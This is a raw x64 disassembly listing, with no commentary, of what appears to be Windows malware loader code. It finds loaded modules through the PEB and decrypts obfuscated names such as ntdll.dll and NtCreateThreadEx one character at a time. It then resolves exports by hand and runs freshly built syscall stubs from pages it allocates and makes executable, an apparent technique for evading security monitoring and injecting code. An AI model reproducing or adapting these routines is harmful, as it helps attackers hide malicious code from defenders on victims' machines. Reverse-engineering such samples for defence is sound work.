mov dl, byte [rbp + rdi + 0xd9]
lea rcx, [rbp + 0xd8]
call fcn.140042908
mov byte [rbp + rdi + 0xd9], al
add rdi, r15
cmp rdi, 9
jb 0x140032440
xor r9d, r9d
mov byte [rbp + 0xe2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400325a4
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x218], rax
mov qword [rbp - 0x68], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14003251f
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov r15, qword [rbp - 0x80]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x1400324ea
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x80], r10
je 0x14003257b
mov rax, rcx
lea r9, [rbp + 0xd9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140032574
add rax, r11
test edx, edx
jne 0x14003255f
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x1400333d3
mov rax, qword [rbp - 0x68]
mov rax, qword [rax]
mov qword [rbp - 0x68], rax
cmp rax, qword [rbp + 0x218]
jne 0x14003249b
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x680], 0x79
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x681], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x682], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x683], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x684], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x685], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x686], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x687], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x688], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x689], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68a], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68b], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68c], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68d], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68e], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x68f], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x690], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x691], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x692], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x693], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + 0x694], al
xor eax, eax
mov byte [rbp + 0x695], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x681]
lea rcx, [rbp + 0x680]
call fcn.1400430f8
mov byte [rbp + rdi + 0x681], al
add rdi, r12
cmp rdi, rsi
jb 0x1400327e7
xor edi, edi
lea r12d, [rdi + 0x20]
mov byte [rbp + 0x695], dil
mov byte [rbp + 0xb8], Ordinal_50
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xb9], al
mov r9d, r15d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xba], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xbb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xbc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xbd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xbe], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xbf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xc0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + 0xc1], al
xor eax, eax
mov byte [rbp + 0xc2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xb9]
lea rcx, [rbp + 0xb8]
call fcn.140042908
mov byte [rbp + rdi + 0xb9], al
add rdi, r15
cmp rdi, 9
jb 0x14003292b
xor edi, edi
mov byte [rbp + 0xc2], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140032a80
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x1400329ff
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x1400329cd
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140032a5b
mov rax, rcx
lea r9, [rbp + 0xb9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140032a54
add rax, r11
test edx, edx
jne 0x140032a3f
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003362e
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
xor edi, edi
cmp rax, qword [rbp - 0x70]
jne 0x140032982
mov eax, edi
cmp dword [rbp - 0x68], edi
jl 0x14003b519
test eax, eax
js 0x14003b519
mov qword [rbp + 0xce0], rdi
mov byte [rbp + 0x2c0], 0x54
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c1], al
mov r9, r13
mov ebx, 1
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c2], al
mov r9, r13
lea r8d, [rbx + 1]
mov dl, 0x43
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c3], al
mov r9, r13
lea r8d, [rbx + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c4], al
mov r9, r13
lea r8d, [rbx + 3]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c5], al
mov r9, r13
lea r8d, [rbx + 4]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c6], al
mov r9, r13
lea r8d, [rbx + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c7], al
mov r9, r13
lea r8d, [rbx + 6]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c8], al
mov r9, r13
lea r8d, [rbx + 7]
mov dl, 0x54
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2c9], al
mov r9, r13
lea r8d, [rbx + 8]
mov dl, 0x68
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2ca], al
mov r9, r13
lea r8d, [rbx + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2cb], al
mov r9, r13
lea r8d, [rbx + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2cc], al
mov r9, r13
lea r8d, [rbx + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2cd], al
mov r9, r13
lea r8d, [rbx + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2ce], al
mov r9, r13
lea r8d, [rbx + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2cf], al
mov r9, r13
lea r8d, [rbx + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + 0x2d0], al
xor eax, eax
mov byte [rbp + 0x2d1], al
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2c1]
lea rcx, [rbp + 0x2c0]
call fcn.140042980
mov byte [rbp + rdi + 0x2c1], al
add rdi, rbx
cmp rdi, r13
jb 0x140032c5c
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x2d1], dil
mov byte [rbp + 0x108], 0x45
lea r13d, [rbx - 8]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x109], al
mov r9d, r13d
lea r13d, [rbx - 0x10]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10a], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10b], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10c], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10d], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10e], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x10f], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x110], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + 0x111], al
xor eax, eax
mov byte [rbp + 0x112], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x109]
lea rcx, [rbp + 0x108]
call fcn.140042908
mov byte [rbp + rdi + 0x109], al
add rdi, r13
cmp rdi, 9
jb 0x140032da1
mov r13d, reloc.WS2_32.dll_recv
xor r9d, r9d
mov byte [rbp + 0x112], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140033af1
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140032e80
lea esi, [rcx + 1]
mov r11d, esi
mov rdx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, esi
add r8, rsi
cmp r8, r10
jl 0x140032e4e
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140032edc
mov rax, rcx
lea r9, [rbp + 0x109]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140032ed5
add rax, r11
test edx, edx
jne 0x140032ec0
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14003387f
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140032dff
jmp 0x140033af1
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140031af2
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140031af2
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140031af2
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140031af2
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140031af2
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7d9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140032f99
inc rax
test edi, edi
jne 0x140032f84
xor r9d, r9d
test r8d, r8d
je 0x140032fb0
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140032f73
jmp 0x140031af2
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140031af2
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140031af2
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.1400a18a0
or dword [rbp + 0x10e44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xfac0]
call fcn.1400437d4
lea rcx, [rbp + 0xfac0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0xfac0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2b490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140033056
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe58], eax
lea r9, [rbp + 0xe58]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xf08]
xor r8d, r8d
lea rdx, [rbp + 0xd40]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe58]
mov r8d, dword [rbp + 0xe58]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400c97b0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x14010d364], r9d
test edi, edi
jns 0x140031af2
mov qword [rbp + 0xbd0], r9
jmp 0x140031b00
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140032058
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032058
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032058
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032058
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140032058
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x719]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140033200
inc rax
test edi, edi
jne 0x1400331eb
test r8d, r8d
je 0x140033214
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400331da
jmp 0x140032058
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032058
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140032058
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.1400a18a0
or dword [rbp + 0x121d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10e50]
call fcn.1400437d4
lea rcx, [rbp + 0x10e50]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x10e50]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2c490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x1400332bb
mov r12d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe4c], eax
lea r9, [rbp + 0xe4c]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xf18]
xor r8d, r8d
lea rdx, [rbp + 0xd48]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe4c]
mov r8d, dword [rbp + 0xe4c]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x14010d364], r9d
test edi, edi
jns 0x140032058
mov qword [rbp - 0x48], r9
jmp 0x140032063
mov rcx, qword [rbp - 0x68]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400325a4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400325a4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400325a4
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400325a4
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rsp + 0x68], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp + 0x218], rax
test rax, rax
je 0x1400325a4
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6b1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140033468
inc rax
test edi, edi
jne 0x140033453
xor r9d, r9d
test r8d, r8d
je 0x140033481
inc rdx
cmp rdx, qword [rbp + 0x218]
jb 0x140033442
jmp 0x1400325a4
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400325a4
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400325a4
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x13564], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x121e0]
call fcn.1400437d4
lea rcx, [rbp + 0x121e0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp + 0x218], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x121e0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2d490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003352b
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2d490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp + 0x218]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe48], eax
lea r9, [rbp + 0xe48]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe48]
mov r8d, dword [rbp + 0xe48]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
jmp 0x1400325a8
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140032a80
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032a80
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032a80
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032a80
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140032a80
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x681]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400336c0
inc rax
test edi, edi
jne 0x1400336ab
xor edi, edi
test r8d, r8d
je 0x1400336d5
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14003369a
jmp 0x140032a80
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032a80
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140032a80
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
